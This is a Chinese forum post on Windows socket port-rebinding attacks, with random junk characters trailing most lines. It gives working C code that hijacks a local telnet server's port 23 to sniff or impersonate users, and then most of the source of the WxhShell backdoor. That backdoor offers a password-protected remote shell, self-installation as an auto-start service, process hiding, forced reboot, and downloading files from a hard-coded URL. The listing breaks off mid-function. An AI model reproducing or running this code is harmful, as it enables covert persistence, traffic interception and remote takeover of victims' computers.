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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;rt\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8D`TN8[W  
}C5Fvy6uz  
  saddr.sin_family = AF_INET; fTd":F  
8j8~?=$a6Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MO *7:hI  
=Kt!+^\")  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UW-`k1  
^'4I%L"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ro18%' RRI  
L:Me  
  这意味着什么?意味着可以进行如下的攻击: \d QRQL{LL  
qmq#(%Z <W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BXUd i&'O  
0D}k ^W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gTg[!}_;\N  
VoNk.h"T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UX)QdT45Mh  
L}>ts(!q&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5[H1nC @C  
@mEB=X(-l=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {hx=6"@  
j]6YLM@5$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @Pf['BF"  
aa\?k\h'7X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CjLiLB  
6' 9zpe@`  
  #include (b+o$C  
  #include Bx0=D:j  
  #include h]k1vp)Q y  
  #include    /rv=ml pRL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c5t7X-LB  
  int main() >;~ia3  
  { kS)|oU K  
  WORD wVersionRequested; rnXoA, c/  
  DWORD ret; -nnAe F  
  WSADATA wsaData; ,ydn]0SS  
  BOOL val; i[PksT#p  
  SOCKADDR_IN saddr; gr4JaV  
  SOCKADDR_IN scaddr; nT@FS t  
  int err; I6[=tB  
  SOCKET s; HLl"=m1/>  
  SOCKET sc; =_`cY^ib+  
  int caddsize; 8lF:70wia  
  HANDLE mt; Z xR  
  DWORD tid;   V#V<Kz  
  wVersionRequested = MAKEWORD( 2, 2 ); EP8R[Q0_"  
  err = WSAStartup( wVersionRequested, &wsaData ); u$+nl~p[&  
  if ( err != 0 ) { ]wV_xZ)l^A  
  printf("error!WSAStartup failed!\n"); $GIup5  
  return -1; 1K[y)q  
  } -7A2@g  
  saddr.sin_family = AF_INET; ZnD(RM  
   W+aW2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xWKUti i  
w/Wd^+I In  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `+GiSj8'G  
  saddr.sin_port = htons(23); +=(@=PJ6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }*56 DX  
  { T0K*!j}O  
  printf("error!socket failed!\n"); '! ~ s=  
  return -1; BXLw  
  } ~lH2# u>g  
  val = TRUE; N-}|!pqb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I.)9:7   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {AAi x  
  { _"- ,ia[D  
  printf("error!setsockopt failed!\n"); M.KXDD#O  
  return -1; Ir3|PehB  
  }  P'oY +#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; opqf)C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r+}<]?aT>-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 da5fKK/s  
WsR4)U/]v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fl<j]{*v  
  { ]0 ;,M  
  ret=GetLastError(); G3de<?K.[V  
  printf("error!bind failed!\n"); dlc'=M  
  return -1; !9EbG  
  } \D}$foHg  
  listen(s,2); j4Y] 8  
  while(1) ]VK9d;0D  
  { o.>Yj)U  
  caddsize = sizeof(scaddr); Xb7G!Hk#g  
  //接受连接请求 seNH/pRb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FO?I}G22  
  if(sc!=INVALID_SOCKET) <u2iXH5w  
  { "Kf4v|6;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5z 9'~Gfb  
  if(mt==NULL) $kn"S>jV  
  { _OR[RGy  
  printf("Thread Creat Failed!\n"); 09Y:(2Qri  
  break; P:c 'W?  
  } a`S3v  
  } _Uu p*#m  
  CloseHandle(mt); wI2fCq(a0  
  } 2Q[q)u  
  closesocket(s); `}*jjnr"  
  WSACleanup(); )-S;j)(+  
  return 0; T%1Kh'92  
  }   H^8t/h  
  DWORD WINAPI ClientThread(LPVOID lpParam) q??N,  
  { Ox+}JB [  
  SOCKET ss = (SOCKET)lpParam; ^j]"5@f  
  SOCKET sc; `-<m#HF:)d  
  unsigned char buf[4096]; Bt"*a=t;  
  SOCKADDR_IN saddr; 30L/-+r1  
  long num; |sV@j_TX  
  DWORD val; zjwo"6c>  
  DWORD ret; x DX_s:A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -/J2;AkGH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *uMtl'  
  saddr.sin_family = AF_INET; rOXh?r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $ 7uxReFZR  
  saddr.sin_port = htons(23); S-G#+ Ue2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mNr<=Z%b  
  { t[x[X4  
  printf("error!socket failed!\n"); 8Nxyc>8K~  
  return -1; jp+#N pH  
  } <^B!.zQ  
  val = 100; pqxBu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DP4l %2m0  
  { 0/?=FM >  
  ret = GetLastError(); `pYL/[5  
  return -1; 3Tr}t.mt  
  } U%_6'5s{^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PoRL35  
  { M@O<b-  
  ret = GetLastError(); BZ@v8y _TA  
  return -1; Wx-rW  
  } Fj0h-7L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }}~ t! /x  
  { _CXXgF[OCA  
  printf("error!socket connect failed!\n"); btIh%OM  
  closesocket(sc); C'CdVDm X  
  closesocket(ss); iVb#X#  
  return -1; vA, tW,  
  } ($:JI3e[;  
  while(1) >?0f>I%\  
  { R3} Z"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8rgNG7d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4p_@f^v~QH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1F }mlyS  
  num = recv(ss,buf,4096,0); AC/82$  
  if(num>0) Xu&4|$wB+  
  send(sc,buf,num,0); MA5BTq<&  
  else if(num==0) 3 Ho<4_I,  
  break; KoO\<_@";  
  num = recv(sc,buf,4096,0); sBD\;\I  
  if(num>0) XW9 [VUW~  
  send(ss,buf,num,0); y5 bELWA  
  else if(num==0) RBM4_L  
  break; Bc2PF;n  
  } [P"R+$"   
  closesocket(ss); Vch!&8xii  
  closesocket(sc); \.jT"Z~  
  return 0 ; 9{V54ue;  
  } 5T;,wQ<  
7U{g'<  
NX4}o&mDwn  
========================================================== [sH[bmLR  
Gm1vVHAxv  
下边附上一个代码,,WXhSHELL Ws(#ThA  
XDi[Iyj  
========================================================== &-1;3+#w  
/R44x\nhr  
#include "stdafx.h" 7lz"^  
jNA^ (|:  
#include <stdio.h> A1,- qv1s  
#include <string.h> #.n%$r  
#include <windows.h> <xeo9'k6&  
#include <winsock2.h> y*5bF 0  
#include <winsvc.h> B?tO&$s  
#include <urlmon.h> Z*(lg$A9 M  
tkGJ!aUt  
#pragma comment (lib, "Ws2_32.lib") 'F@#.Op`  
#pragma comment (lib, "urlmon.lib") ]1<O [d  
>HXmpu.O  
#define MAX_USER   100 // 最大客户端连接数 +k4 SN  
#define BUF_SOCK   200 // sock buffer .2 /$ !'E  
#define KEY_BUFF   255 // 输入 buffer 4aQb+t,  
"?Cx4<nsM  
#define REBOOT     0   // 重启 R83Me #&  
#define SHUTDOWN   1   // 关机 p4OiCAW;  
ndIU0kq3  
#define DEF_PORT   5000 // 监听端口 &% \`Lwh  
^.9I[Umua  
#define REG_LEN     16   // 注册表键长度 YSE6PG   
#define SVC_LEN     80   // NT服务名长度 `?ijKZ}y5  
U:.  
// 从dll定义API X4R+Frt8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~y(- j[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z2QZ;ZjvRS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ya)s_Zr7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a jCx"J  
^#4?v^QNh  
// wxhshell配置信息 %CP:rAd`M.  
struct WSCFG { l;dZJ_Ut$  
  int ws_port;         // 监听端口 !~&vcz0>)9  
  char ws_passstr[REG_LEN]; // 口令 B^SD5  
  int ws_autoins;       // 安装标记, 1=yes 0=no n8eR?'4  
  char ws_regname[REG_LEN]; // 注册表键名 Q7 Clr{&  
  char ws_svcname[REG_LEN]; // 服务名 1wa zJj=v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B|Rnh;B-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |E)Es!dr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lll]FJ1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w8Mi: ;6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8@|rB3J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U8z$=W o  
{<HL}m@kQ  
}; 6"Km E}  
lFNf/j^Z  
// default Wxhshell configuration heliL/  
struct WSCFG wscfg={DEF_PORT, l ^*GqP5  
    "xuhuanlingzhe", /IS j0"/$  
    1, ?N,'1I  
    "Wxhshell", Uk02VuS  
    "Wxhshell", jy] hP?QG  
            "WxhShell Service", o[bG(qHZ  
    "Wrsky Windows CmdShell Service", wr=h=vXU[  
    "Please Input Your Password: ", zOpl#%"  
  1, b g'B^E3  
  "http://www.wrsky.com/wxhshell.exe", _|S>, D'  
  "Wxhshell.exe" _ G!lQ)1  
    }; [y73 xF   
.oq!Ys4KA  
// 消息定义模块 bqXCe\#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AFWcTz6#d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hb3+$vJ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q)c $^YsI  
char *msg_ws_ext="\n\rExit."; 6ZBg/_m  
char *msg_ws_end="\n\rQuit."; av(d0E}}b  
char *msg_ws_boot="\n\rReboot..."; D@yg)$;z  
char *msg_ws_poff="\n\rShutdown..."; yWACI aj  
char *msg_ws_down="\n\rSave to "; XB)e;R  
gOI #$-L  
char *msg_ws_err="\n\rErr!"; 4-4lh TE(  
char *msg_ws_ok="\n\rOK!"; 0}YR=  
Rla4XN=mf  
char ExeFile[MAX_PATH]; v2dCkn /  
int nUser = 0; ?gb"S,  
HANDLE handles[MAX_USER]; _=1SR\  
int OsIsNt; hv'~S  
z^Nnt  
SERVICE_STATUS       serviceStatus; :5G3 uN+\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xQ62V11R6  
^j?\_r'j  
// 函数声明 L!3AiAnr  
int Install(void); fv !l{  
int Uninstall(void); ujZki.x  
int DownloadFile(char *sURL, SOCKET wsh); 6y,M+{  
int Boot(int flag); :z%vNKy1  
void HideProc(void); ]],6Fi+  
int GetOsVer(void); Wiqy".YY  
int Wxhshell(SOCKET wsl); dhN[\Z%  
void TalkWithClient(void *cs); j=)Cyg3_%  
int CmdShell(SOCKET sock); jK#y7E  
int StartFromService(void); x\XgQQ]-  
int StartWxhshell(LPSTR lpCmdLine); v.)'b e*u  
e0HG"z4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#xNz=V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p#O#M N*  
.Lo$uKsW$l  
// 数据结构和表定义 ^Ois]#py  
SERVICE_TABLE_ENTRY DispatchTable[] = EH"iK2n\9  
{ d3T|N\(DL  
{wscfg.ws_svcname, NTServiceMain}, (| Am  
{NULL, NULL} .b]g# Du=  
}; Tk9*@kqv  
Phl't~k  
// 自我安装 j-ugsV`2=*  
int Install(void) tnbaU%;|J  
{ 7Nc@7_=  
  char svExeFile[MAX_PATH]; iYA06~ d  
  HKEY key; FpE83}@".w  
  strcpy(svExeFile,ExeFile); 1 ,oC:N  
StWDNAf)  
// 如果是win9x系统,修改注册表设为自启动 %4cUa| =?  
if(!OsIsNt) { )$yqJ6y5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {o7ibw=E)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h[3N/yP  
  RegCloseKey(key); c6s*u%+},  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.eqOPW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +DM+@F  
  RegCloseKey(key); B_M)<Ad  
  return 0; ?V#%^ 57p  
    } bK; -Xcm  
  } &Z5$ 5,[  
} 0G9@A8LU  
else { B4R!V!Z*  
'g#Ml`cm  
// 如果是NT以上系统,安装为系统服务 fyx-VXu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n.67f  
if (schSCManager!=0) iwCnW7:  
{ o(>!T=f  
  SC_HANDLE schService = CreateService m~r^@D  
  ( a@zKi;  
  schSCManager, DTN@b!  
  wscfg.ws_svcname, \P!v9LX(  
  wscfg.ws_svcdisp, a2UER1Yp"  
  SERVICE_ALL_ACCESS, 7i~::Z <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g8mVjM\B;  
  SERVICE_AUTO_START, [+gX6  
  SERVICE_ERROR_NORMAL, >DQl&:-)t  
  svExeFile, 7'j?GzaQ+  
  NULL, HGB96,o f9  
  NULL, 4XQv  
  NULL, M9]O!{ sq  
  NULL, g GN[AqR  
  NULL WW@/q`h  
  ); E@"+w,x)  
  if (schService!=0) AZorzQ]s  
  { u~Q0V J~  
  CloseServiceHandle(schService); KwWqsuju  
  CloseServiceHandle(schSCManager); G=!Y~qg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >9F,=63A  
  strcat(svExeFile,wscfg.ws_svcname); (SoV2[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H0 km*5Sn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;f[Ki$7  
  RegCloseKey(key); u7fae$:&  
  return 0; A2uSH@4  
    } XV)ej>A-V  
  } l+ bP48  
  CloseServiceHandle(schSCManager); Hy|$7]1  
} %S$`cp  
} R8Lp8!F'  
+uKlg#wqc  
return 1; k x6%5%  
} ;_of'  
9Q^>.^~^  
// 自我卸载 c%Yvj  
int Uninstall(void) kE,~NG9P  
{ "X>Z!>  
  HKEY key; +=|Q'V  
Cq u/(=  
if(!OsIsNt) { U[c,cdA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x<P$$G/  
  RegDeleteValue(key,wscfg.ws_regname); s8{3~Hv  
  RegCloseKey(key); c3P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -#Yg B5  
  RegDeleteValue(key,wscfg.ws_regname); 9O?.0L  
  RegCloseKey(key); 8Y sn8  
  return 0; Vg\EAs>f  
  } D^04b< O<x  
} f 7y1V(t  
} ^;c!)0Q<Z  
else { so8isDC'9  
6fY(u7m|p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K4N~ApLB+  
if (schSCManager!=0) BGodrb1  
{ N3MMxm_u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); my[)/'  
  if (schService!=0) niFX8%<hP  
  { UALwr>+VJ  
  if(DeleteService(schService)!=0) { WA8Qt\Q  
  CloseServiceHandle(schService); (".`#909  
  CloseServiceHandle(schSCManager); /+"BU-aQk  
  return 0; >wdR4!x!?  
  } ]b.@i&M  
  CloseServiceHandle(schService); #|GP]`YT  
  } z~A||@4'  
  CloseServiceHandle(schSCManager); <!Nj2>  
} rV"<1y:g  
} ,@/b7BVv  
L<J';#BD  
return 1; 4M6o+WV  
} :upi2S_e  
I/Hwf  
// 从指定url下载文件 a_L&*%;  
int DownloadFile(char *sURL, SOCKET wsh) 1G=1FGvP  
{ f /&Dy'OV7  
  HRESULT hr; :w#Zs)N  
char seps[]= "/"; Ii,e=RG>  
char *token; H"WkyvqXb  
char *file; 82YTd(yB  
char myURL[MAX_PATH]; $s/N;E!t  
char myFILE[MAX_PATH]; 9-Ikd>9  
tt{,f1v0t  
strcpy(myURL,sURL); .2C}8GGC'  
  token=strtok(myURL,seps); Fm`hFBKW  
  while(token!=NULL) >E#| H6gx  
  { pOyM/L   
    file=token; &AU%3b  
  token=strtok(NULL,seps); .D-}2<z  
  } ]V6<h Psi  
P cnr  
GetCurrentDirectory(MAX_PATH,myFILE); zKx?cEpE  
strcat(myFILE, "\\"); go|/I&  
strcat(myFILE, file); &[3 xpi{v  
  send(wsh,myFILE,strlen(myFILE),0); I+!w9o2nZ  
send(wsh,"...",3,0); '8 1M%KO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GL cf'$l  
  if(hr==S_OK) =xSFKu*  
return 0; ^Gq4Yr  
else I .p26  
return 1; M+gQN}BAr  
[`Ol&R4k  
} - A x$Y  
d}EGI  
// 系统电源模块 7Z0 )k9*  
int Boot(int flag) )r~$N0\D  
{ ^ W eE%"  
  HANDLE hToken; TKx.`Cf m  
  TOKEN_PRIVILEGES tkp; 7ib~04  
_SY<(2s]B  
  if(OsIsNt) { mv/'H^"[_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `4'v)!?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NN\% X3ri"  
    tkp.PrivilegeCount = 1; lf4-Ci*X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 05g U~6AF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pD9*WKEf*  
if(flag==REBOOT) { yc8iT`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (*;b\h  
  return 0; we4e>)  
} 8Focs p2  
else { TbXp%O:[W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )TP 1i  
  return 0; -;a}'1HOE  
} Ett%Y*D+J  
  } (x@|6Sb  
  else { /1zi(z   
if(flag==REBOOT) { \L}Soe'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f>s3Q\+  
  return 0; !e?=I  
} "A~\$  
else { awB1ryrOF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4'Z=T\:  
  return 0; .2q7X{4=  
} b2aPo M=  
} :7K cD\fCj  
\zR@FOl`q  
return 1; q{ItTvL  
} S;kI\;  
&?"(al?  
// win9x进程隐藏模块 \l?\%aqm  
void HideProc(void) M/x49qO#  
{ ( MWh|kp  
eGHxiC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |>5NH'agV  
  if ( hKernel != NULL ) )'?3%$EM  
  { iOkRBi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e%uPZ >'q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3lcd:=  
    FreeLibrary(hKernel); luACdC  
  } Obgn?TAVX  
N\ChA]Ck  
return; #K.OJJaG  
} '`p#%I@  
\L>3E#R-Q  
// 获取操作系统版本 $bIVD  
int GetOsVer(void) vOy;=0$  
{ [G>8N5@*  
  OSVERSIONINFO winfo; {'C PLJ{R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nsIx5UA_n  
  GetVersionEx(&winfo); Azv j(j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : KhAf2A  
  return 1; 9_)*b  
  else &}_ $@  
  return 0; lQj3# !1}  
} R*VRxQ,h6+  
87l(a,#J  
// 客户端句柄模块 62TWqQ!9d  
int Wxhshell(SOCKET wsl) kG@~;*;l  
{ u&z5)iU  
  SOCKET wsh; .;&c<c|  
  struct sockaddr_in client; uDvZ]Q|.  
  DWORD myID; f40xS7-Q0  
[vh&o-6  
  while(nUser<MAX_USER) L9ECF;)  
{ j;6kN-jx  
  int nSize=sizeof(client); 2XI%z4\)!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UfIH!6Q  
  if(wsh==INVALID_SOCKET) return 1; qIIc>By(\"  
g\^7Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "i0{E!,XL  
if(handles[nUser]==0) ,j\1UAa  
  closesocket(wsh); =$xxkc.~G  
else @'>h P  
  nUser++; %ub\+~  
  } f|Dq#(^\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u}Kc>/AF  
xc{$=>'G  
  return 0; 9jW/"  
} tk=~b} 8  
'b(V8x  
// 关闭 socket v d A 3  
void CloseIt(SOCKET wsh) n1n->l*HGP  
{ s\&qvL1D  
closesocket(wsh); }\Kki  
nUser--; <4UF/G)  
ExitThread(0); OwRH :l  
} 7HfA{.|m  
K@d,8[  
// 客户端请求句柄 %Y!31oC#  
void TalkWithClient(void *cs) [C_Dv-d  
{ y/{&mo1\  
xg*)o*?  
  SOCKET wsh=(SOCKET)cs; )2vkaR  
  char pwd[SVC_LEN]; wP:ab  
  char cmd[KEY_BUFF]; (NB\wJg $  
char chr[1]; $7\Al$W\  
int i,j; 3s25Rps  
U4PnQ K,  
  while (nUser < MAX_USER) { >Vp #   
wP-BaB$_  
if(wscfg.ws_passstr) { 1:{BC2P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #>)OLKP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lHl1Ny\?  
  //ZeroMemory(pwd,KEY_BUFF); J+IkTqw  
      i=0; -bJC+Yn  
  while(i<SVC_LEN) { Zq[aC0%+  
M$L ; -T  
  // 设置超时 H!6nIS9yxt  
  fd_set FdRead; V'n4iM  
  struct timeval TimeOut; ZP*(ZU@j=Z  
  FD_ZERO(&FdRead); gFBMARxi  
  FD_SET(wsh,&FdRead); 7Qoy~=E  
  TimeOut.tv_sec=8;  a@mMa {  
  TimeOut.tv_usec=0; %v)m&VUi%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fke_ms=I^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vdS)EIt  
RxUABF8b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s}m.r5  
  pwd=chr[0]; 1 UyQ``v/  
  if(chr[0]==0xd || chr[0]==0xa) { 0J \hku\  
  pwd=0; |-vc/t2k>T  
  break; \~ACWF7l  
  } uIeD.I'@{5  
  i++; O C qI  
    } A08b=S  
FEoH$.4  
  // 如果是非法用户,关闭 socket ;giW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e/S^Rx4W  
} +#$(>6Zu"{  
!/]vt?v#^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (j*1sk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OsSGVk #Qh  
gJkvH[hDY  
while(1) { %+A z X  
w26x)(7  
  ZeroMemory(cmd,KEY_BUFF); W'0(0;+G/j  
N7}Y\1-8  
      // 自动支持客户端 telnet标准   B%~D`[~?  
  j=0; !X 8<;e}2  
  while(j<KEY_BUFF) { 4R8W ot  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?:8wDV  
  cmd[j]=chr[0]; "M`ehgCBr  
  if(chr[0]==0xa || chr[0]==0xd) { 0SJ7QRo|K  
  cmd[j]=0; CHZjK(a  
  break; ;Xzay|  
  }  oJ<Wh @  
  j++; fD>0  
    } _mi(:s(  
fxR}a,a  
  // 下载文件 $ 2/T]  
  if(strstr(cmd,"http://")) { BAQ;.N4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pN]$|#%q(  
  if(DownloadFile(cmd,wsh)) A&dNCB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*0`}H+_  
  else c[a1 Md&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9F*],#ng  
  } e.Y*=P}D  
  else { @C}Hx;f6  
rwRb _eIj  
    switch(cmd[0]) { 5[1#d\QR  
  0xNlO9b/  
  // 帮助 y 8./)W&/  
  case '?': { TNvE26.(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q302!N  
    break; I{V1Le4?  
  } %s#`i$|z*n  
  // 安装 >Za66<:  
  case 'i': { qL\*rYe<  
    if(Install()) GA8cA)]zOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qtv>`:neB  
    else HOb-q|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,;_D~7L  
    break; H$ sNp\[{  
    } bhFAt1h  
  // 卸载 #=MQE  
  case 'r': { h0N*hx   
    if(Uninstall()) jJ' LM>e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F! |?S:X  
    else rLzYkZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >QusXD"L>  
    break; kS>'6xXH  
    } B1&H5gxgN  
  // 显示 wxhshell 所在路径 7 %P?3  
  case 'p': { z~g7O4#  
    char svExeFile[MAX_PATH]; UJ0Dy ` f  
    strcpy(svExeFile,"\n\r"); JMMsOA_]  
      strcat(svExeFile,ExeFile); zn4Yo  
        send(wsh,svExeFile,strlen(svExeFile),0); \E'Nk$V3  
    break; `P`n qn  
    } WAj26";M(  
  // 重启 {,5=U@J  
  case 'b': { '(/ZJ88JP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,H3C\.%w\  
    if(Boot(REBOOT)) SZ9xj^"g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =f)S=0UF  
    else { VesO/xG<  
    closesocket(wsh); %5_eos&<^)  
    ExitThread(0); $E^#DjhRQ3  
    } 4LU'E%vlC  
    break; `TkI yGr  
    } N_vVEIO9  
  // 关机 ;z9(  
  case 'd': { MwxfTH"wi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]|q\^k)JU  
